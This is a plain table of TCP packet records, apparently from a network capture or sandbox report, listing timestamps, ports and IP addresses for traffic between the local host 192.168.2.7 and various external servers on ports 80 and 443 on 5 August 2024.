Aug 5, 2024 12:00:38.867711067 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.867727041 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.867742062 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.867762089 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.867763996 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.867819071 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.868505955 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.868522882 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.868540049 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.868565083 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.868580103 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.868802071 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.868827105 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.868843079 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.868868113 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.868895054 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.868918896 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.868963957 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.869653940 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.869729996 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.869767904 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.948962927 CEST	80	49768	43.132.73.61	192.168.2.7
Aug 5, 2024 12:00:38.983091116 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.983107090 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.983141899 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.983158112 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.983165979 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.983175039 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.983222008 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.983412027 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.983439922 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.983453035 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.983457088 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.983473063 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.983489990 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.983500004 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.983509064 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.983532906 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.984272003 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.984287977 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.984304905 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.984330893 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.984354973 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.984420061 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.984436035 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.984451056 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.984472036 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.985169888 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.985186100 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.985202074 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.985225916 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.985229015 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.985245943 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.985251904 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.985263109 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.985286951 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.985963106 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.985990047 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.986004114 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.986036062 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.986057997 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.986068964 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.986092091 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.986109972 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.986149073 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.986171007 CEST	80	49775	43.159.71.118	192.168.2.7
Aug 5, 2024 12:00:38.986882925 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.986910105 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.986933947 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.986934900 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.986952066 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.986967087 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.986968994 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.986988068 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.987014055 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.987966061 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.988020897 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.988064051 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:39.037293911 CEST	80	49773	163.181.201.237	192.168.2.7
Aug 5, 2024 12:00:39.055789948 CEST	80	49769	119.28.109.132	192.168.2.7
Aug 5, 2024 12:00:39.075359106 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.075442076 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.075469971 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.075484037 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.075493097 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.075501919 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:39.075536966 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.075552940 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:39.075556040 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.075598001 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:39.075603962 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.075618982 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.075634956 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.075654030 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.075660944 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:39.075705051 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:39.075810909 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.075826883 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.075841904 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.075858116 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.075870991 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:39.075875998 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.075891018 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.075891972 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:39.075908899 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.075934887 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:39.076102018 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.076126099 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.076143026 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.076158047 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:39.076164961 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:39.076186895 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:39.079400063 CEST	49773	80	192.168.2.7	163.181.201.237
Aug 5, 2024 12:00:39.083070993 CEST	80	49780	43.159.119.252	192.168.2.7
Aug 5, 2024 12:00:39.099416971 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:39.141879082 CEST	49768	80	192.168.2.7	43.132.73.61
Aug 5, 2024 12:00:39.141892910 CEST	49769	80	192.168.2.7	119.28.109.132
Aug 5, 2024 12:00:39.141896009 CEST	49780	80	192.168.2.7	43.159.119.252
Aug 5, 2024 12:00:39.141911030 CEST	49775	80	192.168.2.7	43.159.71.118
Aug 5, 2024 12:00:39.332155943 CEST	80	49770	103.235.46.98	192.168.2.7
Aug 5, 2024 12:00:39.332282066 CEST	80	49770	103.235.46.98	192.168.2.7
Aug 5, 2024 12:00:39.332309961 CEST	80	49770	103.235.46.98	192.168.2.7
Aug 5, 2024 12:00:39.332325935 CEST	80	49770	103.235.46.98	192.168.2.7
Aug 5, 2024 12:00:39.332398891 CEST	49770	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:00:39.332398891 CEST	49770	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:00:39.332413912 CEST	80	49770	103.235.46.98	192.168.2.7
Aug 5, 2024 12:00:39.332429886 CEST	80	49770	103.235.46.98	192.168.2.7
Aug 5, 2024 12:00:39.332447052 CEST	80	49770	103.235.46.98	192.168.2.7
Aug 5, 2024 12:00:39.332461119 CEST	80	49770	103.235.46.98	192.168.2.7
Aug 5, 2024 12:00:39.332473040 CEST	49770	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:00:39.332515001 CEST	49770	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:00:39.333200932 CEST	80	49770	103.235.46.98	192.168.2.7
Aug 5, 2024 12:00:39.333271027 CEST	80	49770	103.235.46.98	192.168.2.7
Aug 5, 2024 12:00:39.333857059 CEST	49770	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:00:39.337286949 CEST	80	49770	103.235.46.98	192.168.2.7
Aug 5, 2024 12:00:39.337315083 CEST	80	49770	103.235.46.98	192.168.2.7
Aug 5, 2024 12:00:39.337331057 CEST	80	49770	103.235.46.98	192.168.2.7
Aug 5, 2024 12:00:39.337373972 CEST	49770	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:00:39.351023912 CEST	80	49782	45.194.34.247	192.168.2.7
Aug 5, 2024 12:00:39.375351906 CEST	49783	80	192.168.2.7	47.254.187.186
Aug 5, 2024 12:00:39.375528097 CEST	49784	80	192.168.2.7	43.152.143.134
Aug 5, 2024 12:00:39.375854969 CEST	49785	80	192.168.2.7	43.159.71.118
Aug 5, 2024 12:00:39.380197048 CEST	80	49783	47.254.187.186	192.168.2.7
Aug 5, 2024 12:00:39.380254984 CEST	49783	80	192.168.2.7	47.254.187.186
Aug 5, 2024 12:00:39.380363941 CEST	80	49784	43.152.143.134	192.168.2.7
Aug 5, 2024 12:00:39.380479097 CEST	49784	80	192.168.2.7	43.152.143.134
Aug 5, 2024 12:00:39.380686045 CEST	80	49785	43.159.71.118	192.168.2.7
Aug 5, 2024 12:00:39.380789995 CEST	49785	80	192.168.2.7	43.159.71.118
Aug 5, 2024 12:00:39.385734081 CEST	49783	80	192.168.2.7	47.254.187.186
Aug 5, 2024 12:00:39.385936975 CEST	49784	80	192.168.2.7	43.152.143.134
Aug 5, 2024 12:00:39.390623093 CEST	80	49783	47.254.187.186	192.168.2.7
Aug 5, 2024 12:00:39.390731096 CEST	80	49784	43.152.143.134	192.168.2.7
Aug 5, 2024 12:00:39.470016956 CEST	49782	80	192.168.2.7	45.194.34.247
Aug 5, 2024 12:00:39.474473000 CEST	49780	80	192.168.2.7	43.159.119.252
Aug 5, 2024 12:00:39.479712009 CEST	80	49780	43.159.119.252	192.168.2.7
Aug 5, 2024 12:00:39.479764938 CEST	49780	80	192.168.2.7	43.159.119.252
Aug 5, 2024 12:00:39.494653940 CEST	49775	80	192.168.2.7	43.159.71.118
Aug 5, 2024 12:00:39.495816946 CEST	49768	80	192.168.2.7	43.132.73.61
Aug 5, 2024 12:00:39.500169992 CEST	80	49775	43.159.71.118	192.168.2.7
Aug 5, 2024 12:00:39.500228882 CEST	49775	80	192.168.2.7	43.159.71.118
Aug 5, 2024 12:00:39.511468887 CEST	49782	80	192.168.2.7	45.194.34.247
Aug 5, 2024 12:00:39.515969038 CEST	49773	80	192.168.2.7	163.181.201.237
Aug 5, 2024 12:00:39.517534971 CEST	80	49782	45.194.34.247	192.168.2.7
Aug 5, 2024 12:00:39.517606974 CEST	49782	80	192.168.2.7	45.194.34.247
Aug 5, 2024 12:00:39.522397995 CEST	49769	80	192.168.2.7	119.28.109.132
Aug 5, 2024 12:00:39.528172016 CEST	49770	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:00:39.529607058 CEST	49785	80	192.168.2.7	43.159.71.118
Aug 5, 2024 12:00:39.534611940 CEST	80	49785	43.159.71.118	192.168.2.7
Aug 5, 2024 12:00:39.551206112 CEST	80	49779	163.181.201.238	192.168.2.7
Aug 5, 2024 12:00:39.557210922 CEST	49779	80	192.168.2.7	163.181.201.238
Aug 5, 2024 12:00:39.557908058 CEST	49786	80	192.168.2.7	221.204.61.35
Aug 5, 2024 12:00:39.558455944 CEST	80	49781	163.171.208.133	192.168.2.7
Aug 5, 2024 12:00:39.567317963 CEST	80	49786	221.204.61.35	192.168.2.7
Aug 5, 2024 12:00:39.567405939 CEST	49786	80	192.168.2.7	221.204.61.35
Aug 5, 2024 12:00:39.568439007 CEST	49781	80	192.168.2.7	163.171.208.133
Aug 5, 2024 12:00:39.570213079 CEST	49786	80	192.168.2.7	221.204.61.35
Aug 5, 2024 12:00:39.581695080 CEST	80	49781	163.171.208.133	192.168.2.7
Aug 5, 2024 12:00:39.581875086 CEST	80	49786	221.204.61.35	192.168.2.7
Aug 5, 2024 12:00:39.581970930 CEST	49781	80	192.168.2.7	163.171.208.133
Aug 5, 2024 12:00:39.585242033 CEST	80	49776	120.26.110.170	192.168.2.7
Aug 5, 2024 12:00:39.585273027 CEST	80	49776	120.26.110.170	192.168.2.7
Aug 5, 2024 12:00:39.585295916 CEST	80	49776	120.26.110.170	192.168.2.7
Aug 5, 2024 12:00:39.585338116 CEST	80	49776	120.26.110.170	192.168.2.7
Aug 5, 2024 12:00:39.585364103 CEST	80	49776	120.26.110.170	192.168.2.7
Aug 5, 2024 12:00:39.585388899 CEST	80	49776	120.26.110.170	192.168.2.7
Aug 5, 2024 12:00:39.585390091 CEST	49776	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:00:39.585390091 CEST	49776	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:00:39.585405111 CEST	80	49776	120.26.110.170	192.168.2.7
Aug 5, 2024 12:00:39.585422993 CEST	80	49776	120.26.110.170	192.168.2.7
Aug 5, 2024 12:00:39.585438013 CEST	80	49776	120.26.110.170	192.168.2.7
Aug 5, 2024 12:00:39.585454941 CEST	80	49776	120.26.110.170	192.168.2.7
Aug 5, 2024 12:00:39.585480928 CEST	49776	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:00:39.585480928 CEST	49776	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:00:39.585505962 CEST	49776	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:00:39.585959911 CEST	80	49766	111.124.200.101	192.168.2.7
Aug 5, 2024 12:00:39.591305971 CEST	49776	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:00:39.592370987 CEST	80	49776	120.26.110.170	192.168.2.7
Aug 5, 2024 12:00:39.592446089 CEST	49776	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:00:39.592897892 CEST	80	49776	120.26.110.170	192.168.2.7
Aug 5, 2024 12:00:39.592952967 CEST	49776	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:00:39.605537891 CEST	49766	80	192.168.2.7	111.124.200.101
Aug 5, 2024 12:00:39.612230062 CEST	49758	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:39.612251997 CEST	443	49758	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:39.612710953 CEST	443	49758	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:39.612911940 CEST	49758	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:39.613190889 CEST	49759	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:39.613267899 CEST	443	49759	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:39.613495111 CEST	49759	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:39.613507986 CEST	443	49759	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:39.613782883 CEST	49758	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:39.614109039 CEST	49756	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:39.614132881 CEST	443	49756	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:39.614475965 CEST	49756	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:39.614485025 CEST	443	49756	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:39.615825891 CEST	49760	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:39.615849018 CEST	443	49760	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:39.616823912 CEST	443	49760	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:39.616919994 CEST	49760	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:39.643321037 CEST	49760	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:39.660516024 CEST	443	49758	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:39.688503027 CEST	443	49760	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:39.912336111 CEST	443	49756	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:39.912431955 CEST	49756	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:39.912508965 CEST	443	49756	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:39.912570953 CEST	49756	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:39.912642002 CEST	49756	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:39.912691116 CEST	443	49756	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:39.912744999 CEST	49756	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:39.913103104 CEST	49787	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:39.913140059 CEST	443	49787	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:39.913199902 CEST	49787	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:39.913409948 CEST	49787	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:39.913423061 CEST	443	49787	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:39.926110983 CEST	443	49759	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:39.926178932 CEST	49759	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:39.926197052 CEST	443	49759	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:39.926239967 CEST	49759	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:39.926309109 CEST	49759	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:39.926366091 CEST	443	49759	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:39.926420927 CEST	49759	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:39.926817894 CEST	49788	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:39.926851034 CEST	443	49788	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:39.926911116 CEST	49788	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:39.927103043 CEST	49788	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:39.927112103 CEST	443	49788	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:39.960325003 CEST	443	49758	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:39.960375071 CEST	443	49758	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:39.960397005 CEST	49758	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:39.960412979 CEST	443	49758	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:39.960424900 CEST	49758	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:39.960463047 CEST	49758	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:39.960470915 CEST	443	49758	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:39.960509062 CEST	49758	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:39.960515022 CEST	443	49758	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:39.960527897 CEST	443	49758	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:39.960552931 CEST	49758	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:39.960570097 CEST	49758	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:39.961384058 CEST	49758	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:39.961396933 CEST	443	49758	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:39.962033987 CEST	49789	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:39.962071896 CEST	443	49789	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:39.962145090 CEST	49789	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:39.962369919 CEST	49789	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:39.962380886 CEST	443	49789	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:40.130949974 CEST	443	49760	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:40.131052971 CEST	49760	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:40.131072998 CEST	443	49760	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:40.131100893 CEST	443	49760	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:40.131124973 CEST	49760	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:40.131186962 CEST	49760	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:40.131231070 CEST	443	49760	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:40.131283045 CEST	49760	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:40.131302118 CEST	443	49760	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:40.131355047 CEST	49760	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:40.131433010 CEST	443	49760	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:40.131484985 CEST	49760	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:40.131845951 CEST	49760	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:40.131885052 CEST	443	49760	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:40.132291079 CEST	49790	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:40.132343054 CEST	443	49790	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:40.132435083 CEST	49790	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:40.132617950 CEST	49790	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:40.132636070 CEST	443	49790	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:40.190290928 CEST	80	49777	47.94.225.221	192.168.2.7
Aug 5, 2024 12:00:40.193125963 CEST	49777	80	192.168.2.7	47.94.225.221
Aug 5, 2024 12:00:40.225816965 CEST	80	49778	113.219.142.35	192.168.2.7
Aug 5, 2024 12:00:40.231756926 CEST	49778	80	192.168.2.7	113.219.142.35
Aug 5, 2024 12:00:40.294421911 CEST	80	49785	43.159.71.118	192.168.2.7
Aug 5, 2024 12:00:40.300133944 CEST	80	49784	43.152.143.134	192.168.2.7
Aug 5, 2024 12:00:40.300357103 CEST	49785	80	192.168.2.7	43.159.71.118
Aug 5, 2024 12:00:40.305466890 CEST	80	49785	43.159.71.118	192.168.2.7
Aug 5, 2024 12:00:40.305519104 CEST	49785	80	192.168.2.7	43.159.71.118
Aug 5, 2024 12:00:40.306969881 CEST	49784	80	192.168.2.7	43.152.143.134
Aug 5, 2024 12:00:40.312073946 CEST	80	49784	43.152.143.134	192.168.2.7
Aug 5, 2024 12:00:40.312120914 CEST	49784	80	192.168.2.7	43.152.143.134
Aug 5, 2024 12:00:40.570730925 CEST	443	49787	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:40.571221113 CEST	49787	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:40.571804047 CEST	443	49787	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:40.571858883 CEST	49787	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:40.575681925 CEST	49787	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:40.575687885 CEST	443	49787	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:40.576086998 CEST	443	49787	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:40.576148033 CEST	49787	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:40.576545000 CEST	49787	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:40.585807085 CEST	443	49788	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:40.585891008 CEST	49788	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:40.586875916 CEST	443	49788	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:40.586937904 CEST	49788	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:40.588694096 CEST	49788	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:40.588700056 CEST	443	49788	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:40.589072943 CEST	443	49788	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:40.589138985 CEST	49788	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:40.589538097 CEST	49788	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:40.617470026 CEST	443	49789	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:40.617533922 CEST	49789	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:40.617914915 CEST	49789	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:40.617922068 CEST	443	49789	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:40.619695902 CEST	49789	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:40.619702101 CEST	443	49789	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:40.620510101 CEST	443	49787	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:40.629448891 CEST	80	49771	104.192.110.226	192.168.2.7
Aug 5, 2024 12:00:40.632518053 CEST	443	49788	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:40.633254051 CEST	49771	80	192.168.2.7	104.192.110.226
Aug 5, 2024 12:00:40.648430109 CEST	80	49786	221.204.61.35	192.168.2.7
Aug 5, 2024 12:00:40.651647091 CEST	49786	80	192.168.2.7	221.204.61.35
Aug 5, 2024 12:00:40.776561975 CEST	80	49783	47.254.187.186	192.168.2.7
Aug 5, 2024 12:00:40.776581049 CEST	80	49783	47.254.187.186	192.168.2.7
Aug 5, 2024 12:00:40.776634932 CEST	49783	80	192.168.2.7	47.254.187.186
Aug 5, 2024 12:00:40.785504103 CEST	49783	80	192.168.2.7	47.254.187.186
Aug 5, 2024 12:00:40.787141085 CEST	443	49790	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:40.787219048 CEST	49790	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:40.787636042 CEST	49790	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:40.787645102 CEST	443	49790	142.250.185.65	192.168.2.7
